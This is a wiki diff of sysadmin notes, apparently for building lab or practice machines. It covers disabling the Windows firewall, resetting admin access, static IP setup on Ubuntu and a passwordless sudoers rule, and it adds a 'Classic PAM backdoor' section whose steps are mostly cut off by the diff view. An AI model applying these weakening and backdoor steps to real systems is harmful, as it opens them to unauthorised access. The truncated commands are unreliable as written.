This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
common_box_creation_commands [2021/11/06 01:56] – created Charlie Root | common_box_creation_commands [2022/11/29 19:14] (current) – michael | ||
---|---|---|---|
Line 5: | Line 5: | ||
netsh advfirewall reset | netsh advfirewall reset | ||
netsh advfirewall set allprofiles state off | netsh advfirewall set allprofiles state off | ||
- | < | + | </code> |
Windows reset admin: | Windows reset admin: | ||
Line 27: | Line 27: | ||
</ | </ | ||
- | Linux set static IP: | + | Linux set static IP for before Ubuntu 22: |
< | < | ||
/ | / | ||
Line 39: | Line 39: | ||
</ | </ | ||
+ | Linux set static IP for Ubuntu 22 and later: | ||
< | < | ||
- | / | + | / |
network: | network: | ||
- | | + | |
- | renderer: networkd | + | renderer: networkd |
- | ethernets: | + | ethernets: |
- | | + | < |
- | dhcp4: | + | dhcp4: |
- | addresses: | + | |
- | | + | addresses: |
- | nameservers: | + | - 192.168.0.10/ |
- | addresses: [192.168.0.11, | + | routes: |
+ | - to: default | ||
+ | via: 192.168.0.1 | ||
+ | | ||
+ | | ||
+ | |||
+ | Apply changes: | ||
+ | sudo netplan apply | ||
</ | </ | ||
+ | Linux find and replace recursively | ||
+ | |||
+ | < | ||
+ | find . -name ' | ||
+ | </ | ||
+ | |||
+ | Sudoer NOPASSWD | ||
+ | |||
+ | < | ||
+ | %sudo | ||
+ | </ | ||
+ | |||
+ | |||
+ | Classic PAM backdoor | ||
+ | |||
+ | < | ||
+ | # Ubuntu 20.04 | ||
+ | cd / | ||
+ | </ |